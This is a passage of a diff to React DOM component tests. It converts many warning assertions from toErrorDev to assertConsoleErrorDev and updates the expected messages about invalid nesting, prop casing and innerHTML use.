+          'The tag <hasOwnProperty> is unrecognized in this browser. ' +
+            'If you meant to render a React component, start its name with an uppercase letter.\n' +
+            '    in hasOwnProperty (at **)',
         ]);
       } finally {
         Object.prototype.toString = realToString; // eslint-disable-line no-extend-native
@@ -1802,19 +1831,22 @@ describe('ReactDOMComponent', () => {
       expect(returnedValue).toContain('</menuitem>');
 
       await expect(async () => {
-        await expect(async () => {
-          await act(() => {
-            root.render(
-              <menu>
-                <menuitem>children</menuitem>
-              </menu>,
-            );
-          });
-        }).toErrorDev('The tag <menuitem> is unrecognized in this browser.');
+        await act(() => {
+          root.render(
+            <menu>
+              <menuitem>children</menuitem>
+            </menu>,
+          );
+        });
       }).rejects.toThrowError(
         'menuitem is a void element tag and must neither have `children` nor use ' +
           '`dangerouslySetInnerHTML`.',
       );
+      assertConsoleErrorDev([
+        'The tag <menuitem> is unrecognized in this browser. ' +
+          'If you meant to render a React component, start its name with an uppercase letter.\n' +
+          '    in menuitem (at **)',
+      ]);
     });
 
     it('should validate against multiple children props', async () => {
@@ -1827,15 +1859,21 @@ describe('ReactDOMComponent', () => {
     });
 
     it('should validate against use of innerHTML', async () => {
-      await expect(async () => {
-        await mountComponent({innerHTML: '<span>Hi Jim!</span>'});
-      }).toErrorDev('Directly setting property `innerHTML` is not permitted. ');
+      await mountComponent({innerHTML: '<span>Hi Jim!</span>'});
+      assertConsoleErrorDev([
+        'Directly setting property `innerHTML` is not permitted. ' +
+          'For more information, lookup documentation on `dangerouslySetInnerHTML`.\n' +
+          '    in div (at **)',
+      ]);
     });
 
     it('should validate against use of innerHTML without case sensitivity', async () => {
-      await expect(async () => {
-        await mountComponent({innerhtml: '<span>Hi Jim!</span>'});
-      }).toErrorDev('Directly setting property `innerHTML` is not permitted. ');
+      await mountComponent({innerhtml: '<span>Hi Jim!</span>'});
+      assertConsoleErrorDev([
+        'Directly setting property `innerHTML` is not permitted. ' +
+          'For more information, lookup documentation on `dangerouslySetInnerHTML`.\n' +
+          '    in div (at **)',
+      ]);
     });
 
     it('should validate use of dangerouslySetInnerHTM with JSX', async () => {
@@ -1863,14 +1901,14 @@ describe('ReactDOMComponent', () => {
     });
 
     it('should warn about contentEditable and children', async () => {
-      await expect(async () => {
-        await mountComponent({contentEditable: true, children: ''});
-      }).toErrorDev(
+      await mountComponent({contentEditable: true, children: ''});
+      assertConsoleErrorDev([
         'A component is `contentEditable` and contains `children` ' +
           'managed by React. It is now your responsibility to guarantee that ' +
           'none of those nodes are unexpectedly modified or duplicated. This ' +
-          'is probably not intentional.\n    in div (at **)',
-      );
+          'is probably not intentional.\n' +
+          '    in div (at **)',
+      ]);
     });
 
     it('should respect suppressContentEditableWarning', async () => {
@@ -2044,15 +2082,19 @@ describe('ReactDOMComponent', () => {
     });
 
     it('should warn about contentEditable and children', async () => {
-      await expect(async () => {
-        await act(() => {
-          root.render(
-            <div contentEditable={true}>
-              <div />
-            </div>,
-          );
-        });
-      }).toErrorDev('contentEditable');
+      await act(() => {
+        root.render(
+          <div contentEditable={true}>
+            <div />
+          </div>,
+        );
+      });
+      assertConsoleErrorDev([
+        'A component is `contentEditable` and contains `children` managed by React. ' +
+          'It is now your responsibility to guarantee that none of those nodes are unexpectedly modified or duplicated. ' +
+          'This is probably not intentional.\n' +
+          '    in div (at **)',
+      ]);
     });
 
     it('should validate against invalid styles', async () => {
@@ -2184,21 +2226,22 @@ describe('ReactDOMComponent', () => {
     it('warns on invalid nesting', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
-          root.render(
-            <div>
-              <tr />
-              <tr />
-            </div>,
-          );
-        });
-      }).toErrorDev([
-        'In HTML, <tr> cannot be a child of ' +
-          '<div>.\n' +
-          'This will cause a hydration error.' +
-          '\n    in tr (at **)' +
-          '\n    in div (at **)',
+      await act(() => {
+        root.render(
+          <div>
+            <tr />
+            <tr />
+          </div>,
+        );
+      });
+      assertConsoleErrorDev([
+        'In HTML, <tr> cannot be a child of <div>.\n' +
+          'This will cause a hydration error.\n' +
+          '\n' +
+          '> <div>\n' +
+          '>   <tr>\n' +
+          '    ...\n' +
+          '\n    in tr (at **)',
       ]);
     });
 
@@ -2206,22 +2249,19 @@ describe('ReactDOMComponent', () => {
       const p = document.createElement('p');
       const root = ReactDOMClient.createRoot(p);
 
-      await expect(async () => {
-        await act(() => {
-          root.render(
-            <span>
-              <p />
-            </span>,
-          );
-        });
-      }).toErrorDev(
-        'In HTML, <p> cannot be a descendant ' +
-          'of <p>.\n' +
+      await act(() => {
+        root.render(
+          <span>
+            <p />
+          </span>,
+        );
+      });
+      assertConsoleErrorDev([
+        'In HTML, <p> cannot be a descendant of <p>.\n' +
           'This will cause a hydration error.' +
           // There is no outer `p` here because root container is not part of the stack.
-          '\n    in p (at **)' +
-          '\n    in span (at **)',
-      );
+          '\n    in p (at **)',
+      ]);
     });
 
     it('warns nicely for table rows', async () => {
@@ -2241,33 +2281,51 @@ describe('ReactDOMComponent', () => {
         }
       }
 
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
 
-        await act(() => {
-          root.render(<Foo />);
-        });
-      }).toErrorDev([
+      await act(() => {
+        root.render(<Foo />);
+      });
+      assertConsoleErrorDev([
         'In HTML, <tr> cannot be a child of ' +
           '<table>. Add a <tbody>, <thead> or <tfoot> to your code to match the DOM tree generated ' +
           'by the browser.\n' +
-          'This will cause a hydration error.' +
+          'This will cause a hydration error.\n' +
+          '\n' +
+          '  <Foo>\n' +
+          '>   <table>\n' +
+          '      <Row>\n' +
+          '>       <tr>\n' +
+          '      ...\n' +
           '\n    in tr (at **)' +
           '\n    in Row (at **)' +
+          '\n    in Foo (at **)',
+        '<table> cannot contain a nested <tr>.\nSee this log for the ancestor stack trace.' +
           '\n    in table (at **)' +
           '\n    in Foo (at **)',
         'In HTML, text nodes cannot be a ' +
           'child of <tr>.\n' +
-          'This will cause a hydration error.' +
+          'This will cause a hydration error.\n' +
+          '\n' +
+          '  <Foo>\n' +
+          '    <table>\n' +
+          '      <Row>\n' +
+          '        <tr>\n' +
+          '>         x\n' +
+          '      ...\n' +
           '\n    in tr (at **)' +
           '\n    in Row (at **)' +
-          '\n    in table (at **)' +
           '\n    in Foo (at **)',
         'In HTML, whitespace text nodes cannot ' +
           "be a child of <table>. Make sure you don't have any extra " +
           'whitespace between tags on each line of your source code.\n' +
-          'This will cause a hydration error.' +
+          'This will cause a hydration error.\n' +
+          '\n' +
+          '  <Foo>\n' +
+          '>   <table>\n' +
+          '      <Row>\n' +
+          '>     {" "}\n' +
           '\n    in table (at **)' +
           '\n    in Foo (at **)',
       ]);
@@ -2289,15 +2347,18 @@ describe('ReactDOMComponent', () => {
         root.render(<Foo />);
       });
 
-      await expect(async () => {
-        await act(() => {
-          root.render(<Foo> </Foo>);
-        });
-      }).toErrorDev([
+      await act(() => {
+        root.render(<Foo> </Foo>);
+      });
+      assertConsoleErrorDev([
         'In HTML, whitespace text nodes cannot ' +
           "be a child of <table>. Make sure you don't have any extra " +
           'whitespace between tags on each line of your source code.\n' +
-          'This will cause a hydration error.' +
+          'This will cause a hydration error.\n' +
+          '\n' +
+          '  <Foo>\n' +
+          '    <table>\n' +
+          '>     {" "}\n' +
           '\n    in table (at **)' +
           '\n    in Foo (at **)',
       ]);
@@ -2312,25 +2373,28 @@ describe('ReactDOMComponent', () => {
         );
       });
 
-      await expect(async () => {
-        await act(() => {
-          root.render(
-            <Foo>
-              <tbody>
-                <Row>text</Row>
-              </tbody>
-            </Foo>,
-          );
-        });
-      }).toErrorDev([
+      await act(() => {
+        root.render(
+          <Foo>
+            <tbody>
+              <Row>text</Row>
+            </tbody>
+          </Foo>,
+        );
+      });
+      assertConsoleErrorDev([
         'In HTML, text nodes cannot be a ' +
           'child of <tr>.\n' +
-          'This will cause a hydration error.' +
+          'This will cause a hydration error.\n' +
+          '\n' +
+          '  <Foo>\n' +
+          '    <table>\n' +
+          '      <tbody>\n' +
+          '        <Row>\n' +
+          '          <tr>\n' +
+          '>           text\n' +
           '\n    in tr (at **)' +
-          '\n    in Row (at **)' +
-          '\n    in tbody (at **)' +
-          '\n    in table (at **)' +
-          '\n    in Foo (at **)',
+          '\n    in Row (at **)',
       ]);
     });
 
@@ -2352,19 +2416,33 @@ describe('ReactDOMComponent', () => {
       function App1() {
         return <Viz1 />;
       }
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(<App1 />);
-        });
-      }).toErrorDev(
-        '\n    in tr (at **)' +
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(<App1 />);
+      });
+      assertConsoleErrorDev([
+        'In HTML, <tr> cannot be a child of <table>. ' +
+          'Add a <tbody>, <thead> or <tfoot> to your code to match the DOM tree generated by the browser.\n' +
+          'This will cause a hydration error.\n' +
+          '\n' +
+          '  <App1>\n' +
+          '    <Viz1>\n' +
+          '>     <table>\n' +
+          '        <FancyRow>\n' +
+          '          <Row>\n' +
+          '>           <tr>\n' +
+          '\n    in tr (at **)' +
           '\n    in Row (at **)' +
           '\n    in FancyRow (at **)' +
-          '\n    in table (at **)' +
-          '\n    in Viz1 (at **)',
-      );
+          '\n    in Viz1 (at **)' +
+          '\n    in App1 (at **)',
+        '<table> cannot contain a nested <tr>.\n' +
+          'See this log for the ancestor stack trace.\n' +
+          '    in table (at **)\n' +
+          '    in Viz1 (at **)\n' +
+          '    in App1 (at **)',
+      ]);
     });
 
     it('gives useful context in warnings 2', async () => {
@@ -2397,22 +2475,38 @@ describe('ReactDOMComponent', () => {
       function App2() {
         return <Viz2 />;
       }
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
 
-        await act(() => {
-          root.render(<App2 />);
-        });
-      }).toErrorDev(
-        '\n    in tr (at **)' +
+      await act(() => {
+        root.render(<App2 />);
+      });
+      assertConsoleErrorDev([
+        'In HTML, <tr> cannot be a child of <table>. ' +
+          'Add a <tbody>, <thead> or <tfoot> to your code to match the DOM tree generated by the browser.\n' +
+          'This will cause a hydration error.\n' +
+          '\n' +
+          '  <App2>\n' +
+          '    <Viz2>\n' +
+          '      <FancyTable>\n' +
+          '        <Table>\n' +
+          '>         <table>\n' +
+          '            <FancyRow>\n' +
+          '              <Row>\n' +
+          '>               <tr>\n' +
+          '\n    in tr (at **)' +
           '\n    in Row (at **)' +
           '\n    in FancyRow (at **)' +
-          '\n    in table (at **)' +
-          '\n    in Table (at **)' +
-          '\n    in FancyTable (at **)' +
-          '\n    in Viz2 (at **)',
-      );
+          '\n    in Viz2 (at **)' +
+          '\n    in App2 (at **)',
+        '<table> cannot contain a nested <tr>.\n' +
+          'See this log for the ancestor stack trace.\n' +
+          '    in table (at **)\n' +
+          '    in Table (at **)\n' +
+          '    in FancyTable (at **)\n' +
+          '    in Viz2 (at **)\n' +
+          '    in App2 (at **)',
+      ]);
     });
 
     it('gives useful context in warnings 3', async () => {
@@ -2434,25 +2528,36 @@ describe('ReactDOMComponent', () => {
           return <Table>{this.props.children}</Table>;
         }
       }
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
 
-        await act(() => {
-          root.render(
-            <FancyTable>
-              <FancyRow />
-            </FancyTable>,
-          );
-        });
-      }).toErrorDev(
-        '\n    in tr (at **)' +
+      await act(() => {
+        root.render(
+          <FancyTable>
+            <FancyRow />
+          </FancyTable>,
+        );
+      });
+      assertConsoleErrorDev([
+        'In HTML, <tr> cannot be a child of <table>. ' +
+          'Add a <tbody>, <thead> or <tfoot> to your code to match the DOM tree generated by the browser.\n' +
+          'This will cause a hydration error.\n' +
+          '\n' +
+          '  <FancyTable>\n' +
+          '    <Table>\n' +
+          '>     <table>\n' +
+          '        <FancyRow>\n' +
+          '          <Row>\n' +
+          '>           <tr>\n' +
+          '\n    in tr (at **)' +
           '\n    in Row (at **)' +
-          '\n    in FancyRow (at **)' +
+          '\n    in FancyRow (at **)',
+        '<table> cannot contain a nested <tr>.\n' +
+          'See this log for the ancestor stack trace.' +
           '\n    in table (at **)' +
           '\n    in Table (at **)' +
           '\n    in FancyTable (at **)',
-      );
+      ]);
     });
 
     it('gives useful context in warnings 4', async () => {
@@ -2463,23 +2568,32 @@ describe('ReactDOMComponent', () => {
         return <Row />;
       }
 
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
 
-        await act(() => {
-          root.render(
-            <table>
-              <FancyRow />
-            </table>,
-          );
-        });
-      }).toErrorDev(
-        '\n    in tr (at **)' +
+      await act(() => {
+        root.render(
+          <table>
+            <FancyRow />
+          </table>,
+        );
+      });
+      assertConsoleErrorDev([
+        'In HTML, <tr> cannot be a child of <table>. ' +
+          'Add a <tbody>, <thead> or <tfoot> to your code to match the DOM tree generated by the browser.\n' +
+          'This will cause a hydration error.\n' +
+          '\n' +
+          '> <table>\n' +
+          '    <FancyRow>\n' +
+          '      <Row>\n' +
+          '>       <tr>\n' +
+          '\n    in tr (at **)' +
           '\n    in Row (at **)' +
-          '\n    in FancyRow (at **)' +
+          '\n    in FancyRow (at **)',
+        '<table> cannot contain a nested <tr>.\n' +
+          'See this log for the ancestor stack trace.' +
           '\n    in table (at **)',
-      );
+      ]);
     });
 
     it('gives useful context in warnings 5', async () => {
@@ -2495,22 +2609,31 @@ describe('ReactDOMComponent', () => {
         }
       }
 
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(
-            <FancyTable>
-              <tr />
-            </FancyTable>,
-          );
-        });
-      }).toErrorDev(
-        '\n    in tr (at **)' +
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(
+          <FancyTable>
+            <tr />
+          </FancyTable>,
+        );
+      });
+      assertConsoleErrorDev([
+        'In HTML, <tr> cannot be a child of <table>. ' +
+          'Add a <tbody>, <thead> or <tfoot> to your code to match the DOM tree generated by the browser.\n' +
+          'This will cause a hydration error.\n' +
+          '\n' +
+          '  <FancyTable>\n' +
+          '    <Table>\n' +
+          '>     <table>\n' +
+          '>       <tr>\n' +
+          '\n    in tr (at **)',
+        '<table> cannot contain a nested <tr>.\n' +
+          'See this log for the ancestor stack trace.' +
           '\n    in table (at **)' +
           '\n    in Table (at **)' +
           '\n    in FancyTable (at **)',
-      );
+      ]);
 
       class Link extends React.Component {
         render() {
@@ -2518,49 +2641,57 @@ describe('ReactDOMComponent', () => {
         }
       }
 
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(
-            <Link>
-              <div>
-                <Link />
-              </div>
-            </Link>,
-          );
-        });
-      }).toErrorDev(
-        '\n    in a (at **)' +
-          '\n    in Link (at **)' +
-          '\n    in div (at **)' +
+      await act(() => {
+        root.render(
+          <Link>
+            <div>
+              <Link />
+            </div>
+          </Link>,
+        );
+      });
+      assertConsoleErrorDev([
+        'In HTML, <a> cannot be a descendant of <a>.\n' +
+          'This will cause a hydration error.\n' +
+          '\n' +
+          '  <Link>\n' +
+          '>   <a>\n' +
+          '      <div>\n' +
+          '        <Link>\n' +
+          '>         <a>\n' +
           '\n    in a (at **)' +
           '\n    in Link (at **)',
-      );
+        '<a> cannot contain a nested <a>.\n' +
+          'See this log for the ancestor stack trace.' +
+          '\n    in a (at **)' +
+          '\n    in Link (at **)',
+      ]);
     });
 
     it('should warn about incorrect casing on properties (ssr)', () => {
-      expect(() => {
-        ReactDOMServer.renderToString(
-          React.createElement('input', {type: 'text', tabindex: '1'}),
-        );
-      }).toErrorDev('tabIndex');
+      ReactDOMServer.renderToString(
+        React.createElement('input', {type: 'text', tabindex: '1'}),
+      );
+      assertConsoleErrorDev([
+        'Invalid DOM property `tabindex`. Did you mean `tabIndex`?\n' +
+          '    in input (at **)',
+      ]);
     });
 
     it('should warn about incorrect casing on event handlers (ssr)', () => {
-      expect(() => {
-        ReactDOMServer.renderToString(
-          React.createElement('input', {type: 'text', oninput: '1'}),
-        );
-      }).toErrorDev(
+      ReactDOMServer.renderToString(
+        React.createElement('input', {type: 'text', oninput: '1'}),
+      );
+      assertConsoleErrorDev([
         'Invalid event handler property `oninput`. ' +
           'React events use the camelCase naming convention, ' +
           // Note: we don't know the right event name so we
           // use a generic one (onClick) as a suggestion.
           // This is because we don't bundle the event system
           // on the server.
-          'for example `onClick`.',
-      );
+          'for example `onClick`.\n' +
+          '    in input (at **)',
+      ]);
       ReactDOMServer.renderToString(
         React.createElement('input', {type: 'text', onKeydown: '1'}),
       );
@@ -2570,56 +2701,62 @@ describe('ReactDOMComponent', () => {
     });
 
     it('should warn about incorrect casing on properties', async () => {
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(
-            React.createElement('input', {type: 'text', tabindex: '1'}),
-          );
-        });
-      }).toErrorDev('tabIndex');
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(
+          React.createElement('input', {type: 'text', tabindex: '1'}),
+        );
+      });
+      assertConsoleErrorDev([
+        'Invalid DOM property `tabindex`. Did you mean `tabIndex`?\n' +
+          '    in input (at **)',
+      ]);
     });
 
     it('should warn about incorrect casing on event handlers', async () => {
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
 
-        await act(() => {
-          root.render(
-            React.createElement('input', {type: 'text', oninput: '1'}),
-          );
-        });
-      }).toErrorDev('onInput');
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(React.createElement('input', {type: 'text', oninput: '1'}));
+      });
+      assertConsoleErrorDev([
+        'Invalid event handler property `oninput`. Did you mean `onInput`?\n' +
+          '    in input (at **)',
+      ]);
 
-        await act(() => {
-          root.render(
-            React.createElement('input', {type: 'text', onKeydown: '1'}),
-          );
-        });
-      }).toErrorDev('onKeyDown');
+      await act(() => {
+        root.render(
+          React.createElement('input', {type: 'text', onKeydown: '1'}),
+        );
+      });
+      assertConsoleErrorDev([
+        'Invalid event handler property `onKeydown`. Did you mean `onKeyDown`?\n' +
+          '    in input (at **)',
+      ]);
     });
 
     it('should warn about class', async () => {
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(React.createElement('div', {class: 'muffins'}));
-        });
-      }).toErrorDev('className');
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(React.createElement('div', {class: 'muffins'}));
+      });
+      assertConsoleErrorDev([
+        'Invalid DOM property `class`. Did you mean `className`?\n' +
+          '    in div (at **)',
+      ]);
     });
 
     it('should warn about class (ssr)', () => {
-      expect(() => {
-        ReactDOMServer.renderToString(
-          React.createElement('div', {class: 'muffins'}),
-        );
-      }).toErrorDev('className');
+      ReactDOMServer.renderToString(
+        React.createElement('div', {class: 'muffins'}),
+      );
+      assertConsoleErrorDev([
+        'Invalid DOM property `class`. Did you mean `className`?\n' +
+          '    in div (at **)',
+      ]);
     });
 
     it('should warn about props that are no longer supported', async () => {
@@ -2629,25 +2766,27 @@ describe('ReactDOMComponent', () => {
         root.render(<div />);
       });
 
-      await expect(async () => {
-        container = document.createElement('div');
-        root = ReactDOMClient.createRoot(container);
+      container = document.createElement('div');
+      root = ReactDOMClient.createRoot(container);
 
-        await act(() => {
-          root.render(<div onFocusIn={() => {}} />);
-        });
-      }).toErrorDev(
-        'React uses onFocus and onBlur instead of onFocusIn and onFocusOut.',
-      );
-      await expect(async () => {
-        container = document.createElement('div');
-        root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(<div onFocusOut={() => {}} />);
-        });
-      }).toErrorDev(
-        'React uses onFocus and onBlur instead of onFocusIn and onFocusOut.',
-      );
+      await act(() => {
+        root.render(<div onFocusIn={() => {}} />);
+      });
+      assertConsoleErrorDev([
+        'React uses onFocus and onBlur instead of onFocusIn and onFocusOut. ' +
+          'All React events are normalized to bubble, so onFocusIn and onFocusOut are not needed/supported by React.\n' +
+          '    in div (at **)',
+      ]);
+      container = document.createElement('div');
+      root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(<div onFocusOut={() => {}} />);
+      });
+      assertConsoleErrorDev([
+        'React uses onFocus and onBlur instead of onFocusIn and onFocusOut. ' +
+          'All React events are normalized to bubble, so onFocusIn and onFocusOut are not needed/supported by React.\n' +
+          '    in div (at **)',
+      ]);
     });
 
     it('should warn about props that are no longer supported without case sensitivity', async () => {
@@ -2657,93 +2796,98 @@ describe('ReactDOMComponent', () => {
         root.render(<div />);
       });
 
-      await expect(async () => {
-        container = document.createElement('div');
-        root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(<div onfocusin={() => {}} />);
-        });
-      }).toErrorDev(
-        'React uses onFocus and onBlur instead of onFocusIn and onFocusOut.',
-      );
-      await expect(async () => {
-        container = document.createElement('div');
-        root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(<div onfocusout={() => {}} />);
-        });
-      }).toErrorDev(
-        'React uses onFocus and onBlur instead of onFocusIn and onFocusOut.',
-      );
+      container = document.createElement('div');
+      root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(<div onfocusin={() => {}} />);
+      });
+      assertConsoleErrorDev([
+        'React uses onFocus and onBlur instead of onFocusIn and onFocusOut. ' +
+          'All React events are normalized to bubble, so onFocusIn and onFocusOut are not needed/supported by React.\n' +
+          '    in div (at **)',
+      ]);
+      container = document.createElement('div');
+      root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(<div onfocusout={() => {}} />);
+      });
+      assertConsoleErrorDev([
+        'React uses onFocus and onBlur instead of onFocusIn and onFocusOut. ' +
+          'All React events are normalized to bubble, so onFocusIn and onFocusOut are not needed/supported by React.\n' +
+          '    in div (at **)',
+      ]);
     });
 
     it('should warn about props that are no longer supported (ssr)', () => {
       ReactDOMServer.renderToString(<div />);
-      expect(() =>
-        ReactDOMServer.renderToString(<div onFocusIn={() => {}} />),
-      ).toErrorDev(
-        'React uses onFocus and onBlur instead of onFocusIn and onFocusOut.',
-      );
-      expect(() =>
-        ReactDOMServer.renderToString(<div onFocusOut={() => {}} />),
-      ).toErrorDev(
-        'React uses onFocus and onBlur instead of onFocusIn and onFocusOut.',
-      );
+      ReactDOMServer.renderToString(<div onFocusIn={() => {}} />);
+      assertConsoleErrorDev([
+        'React uses onFocus and onBlur instead of onFocusIn and onFocusOut. ' +
+          'All React events are normalized to bubble, so onFocusIn and onFocusOut are not needed/supported by React.\n' +
+          '    in div (at **)',
+      ]);
+      ReactDOMServer.renderToString(<div onFocusOut={() => {}} />);
+      assertConsoleErrorDev([
+        'React uses onFocus and onBlur instead of onFocusIn and onFocusOut. ' +
+          'All React events are normalized to bubble, so onFocusIn and onFocusOut are not needed/supported by React.\n' +
+          '    in div (at **)',
+      ]);
     });
 
     it('should warn about props that are no longer supported without case sensitivity (ssr)', () => {
       ReactDOMServer.renderToString(<div />);
-      expect(() =>
-        ReactDOMServer.renderToString(<div onfocusin={() => {}} />),
-      ).toErrorDev(
-        'React uses onFocus and onBlur instead of onFocusIn and onFocusOut.',
-      );
-      expect(() =>
-        ReactDOMServer.renderToString(<div onfocusout={() => {}} />),
-      ).toErrorDev(
-        'React uses onFocus and onBlur instead of onFocusIn and onFocusOut.',
-      );
+      ReactDOMServer.renderToString(<div onfocusin={() => {}} />);
+      assertConsoleErrorDev([
+        'React uses onFocus and onBlur instead of onFocusIn and onFocusOut. ' +
+          'All React events are normalized to bubble, so onFocusIn and onFocusOut are not needed/supported by React.\n' +
+          '    in div (at **)',
+      ]);
+      ReactDOMServer.renderToString(<div onfocusout={() => {}} />);
+      assertConsoleErrorDev([
+        'React uses onFocus and onBlur instead of onFocusIn and onFocusOut. ' +
+          'All React events are normalized to bubble, so onFocusIn and onFocusOut are not needed/supported by React.\n' +
+          '    in div (at **)',
+      ]);
     });
 
     it('gives source code refs for unknown prop warning', async () => {
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(<div class="paladin" />);
-        });
-      }).toErrorDev(
-        'Invalid DOM property `class`. Did you mean `className`?\n    in div (at **)',
-      );
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(<input type="text" onclick="1" />);
-        });
-      }).toErrorDev(
+      let container = document.createElement('div');
+      let root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(<div class="paladin" />);
+      });
+      assertConsoleErrorDev([
+        'Invalid DOM property `class`. Did you mean `className`?\n' +
+          '    in div (at **)',
+      ]);
+      container = document.createElement('div');
+      root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(<input type="text" onclick="1" />);
+      });
+      assertConsoleErrorDev([
         'Invalid event handler property `onclick`. Did you mean ' +
-          '`onClick`?\n    in input (at **)',
-      );
+          '`onClick`?\n' +
+          '    in input (at **)',
+      ]);
     });
 
     it('gives source code refs for unknown prop warning (ssr)', () => {
-      expect(() =>
-        ReactDOMServer.renderToString(<div class="paladin" />),
-      ).toErrorDev(
-        'Invalid DOM property `class`. Did you mean `className`?\n    in div (at **)',
-      );
-      expect(() =>
-        ReactDOMServer.renderToString(<input type="text" oninput="1" />),
-      ).toErrorDev(
+      ReactDOMServer.renderToString(<div class="paladin" />);
+      assertConsoleErrorDev([
+        'Invalid DOM property `class`. Did you mean `className`?\n' +
+          '    in div (at **)',
+      ]);
+      ReactDOMServer.renderToString(<input type="text" oninput="1" />);
+      assertConsoleErrorDev([
         'Invalid event handler property `oninput`. ' +
           // Note: we don't know the right event name so we
           // use a generic one (onClick) as a suggestion.
           // This is because we don't bundle the event system
           // on the server.
-          'React events use the camelCase naming convention, for example `onClick`.' +
-          '\n    in input (at **)',
-      );
+          'React events use the camelCase naming convention, for example `onClick`.\n' +
+          '    in input (at **)',
+      ]);
     });
 
     it('gives source code refs for unknown prop warning for update render', async () => {
@@ -2755,52 +2899,53 @@ describe('ReactDOMComponent', () => {
 
       container = document.createElement('div');
       root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
-          root.render(<div class="paladin" />);
-        });
-      }).toErrorDev(
-        'Invalid DOM property `class`. Did you mean `className`?\n    in div (at **)',
-      );
-    });
-
-    it('gives source code refs for unknown prop warning for exact elements', async () => {
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(
-            <div className="foo1">
-              <span class="foo2" />
-              <div onClick={() => {}} />
-              <strong onclick={() => {}} />
-              <div className="foo5" />
-              <div className="foo6" />
-            </div>,
-          );
-        });
-      }).toErrorDev([
-        'Invalid DOM property `class`. Did you mean `className`?\n    in span (at **)',
-        'Invalid event handler property `onclick`. Did you mean `onClick`?\n    in strong (at **)',
+      await act(() => {
+        root.render(<div class="paladin" />);
+      });
+      assertConsoleErrorDev([
+        'Invalid DOM property `class`. Did you mean `className`?\n' +
+          '    in div (at **)',
       ]);
     });
 
-    it('gives source code refs for unknown prop warning for exact elements (ssr)', () => {
-      expect(() =>
-        ReactDOMServer.renderToString(
+    it('gives source code refs for unknown prop warning for exact elements', async () => {
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(
           <div className="foo1">
             <span class="foo2" />
-            <div onClick="foo3" />
-            <strong onclick="foo4" />
+            <div onClick={() => {}} />
+            <strong onclick={() => {}} />
             <div className="foo5" />
             <div className="foo6" />
           </div>,
-        ),
-      ).toErrorDev([
-        'Invalid DOM property `class`. Did you mean `className`?\n    in span (at **)',
+        );
+      });
+      assertConsoleErrorDev([
+        'Invalid DOM property `class`. Did you mean `className`?\n' +
+          '    in span (at **)',
+        'Invalid event handler property `onclick`. Did you mean `onClick`?\n' +
+          '    in strong (at **)',
+      ]);
+    });
+
+    it('gives source code refs for unknown prop warning for exact elements (ssr)', () => {
+      ReactDOMServer.renderToString(
+        <div className="foo1">
+          <span class="foo2" />
+          <div onClick="foo3" />
+          <strong onclick="foo4" />
+          <div className="foo5" />
+          <div className="foo6" />
+        </div>,
+      );
+      assertConsoleErrorDev([
+        'Invalid DOM property `class`. Did you mean `className`?\n' +
+          '    in span (at **)',
         'Invalid event handler property `onclick`. ' +
-          'React events use the camelCase naming convention, for example `onClick`.' +
-          '\n    in strong (at **)',
+          'React events use the camelCase naming convention, for example `onClick`.\n' +
+          '    in strong (at **)',
       ]);
     });
 
@@ -2842,15 +2987,20 @@ describe('ReactDOMComponent', () => {
         }
       }
 
-      await expect(async () => {
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(<Parent />);
-        });
-      }).toErrorDev([
-        'Invalid DOM property `class`. Did you mean `className`?\n    in span (at **)',
-        'Invalid event handler property `onclick`. Did you mean `onClick`?\n    in strong (at **)',
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(<Parent />);
+      });
+      assertConsoleErrorDev([
+        'Invalid DOM property `class`. Did you mean `className`?\n' +
+          '    in span (at **)\n' +
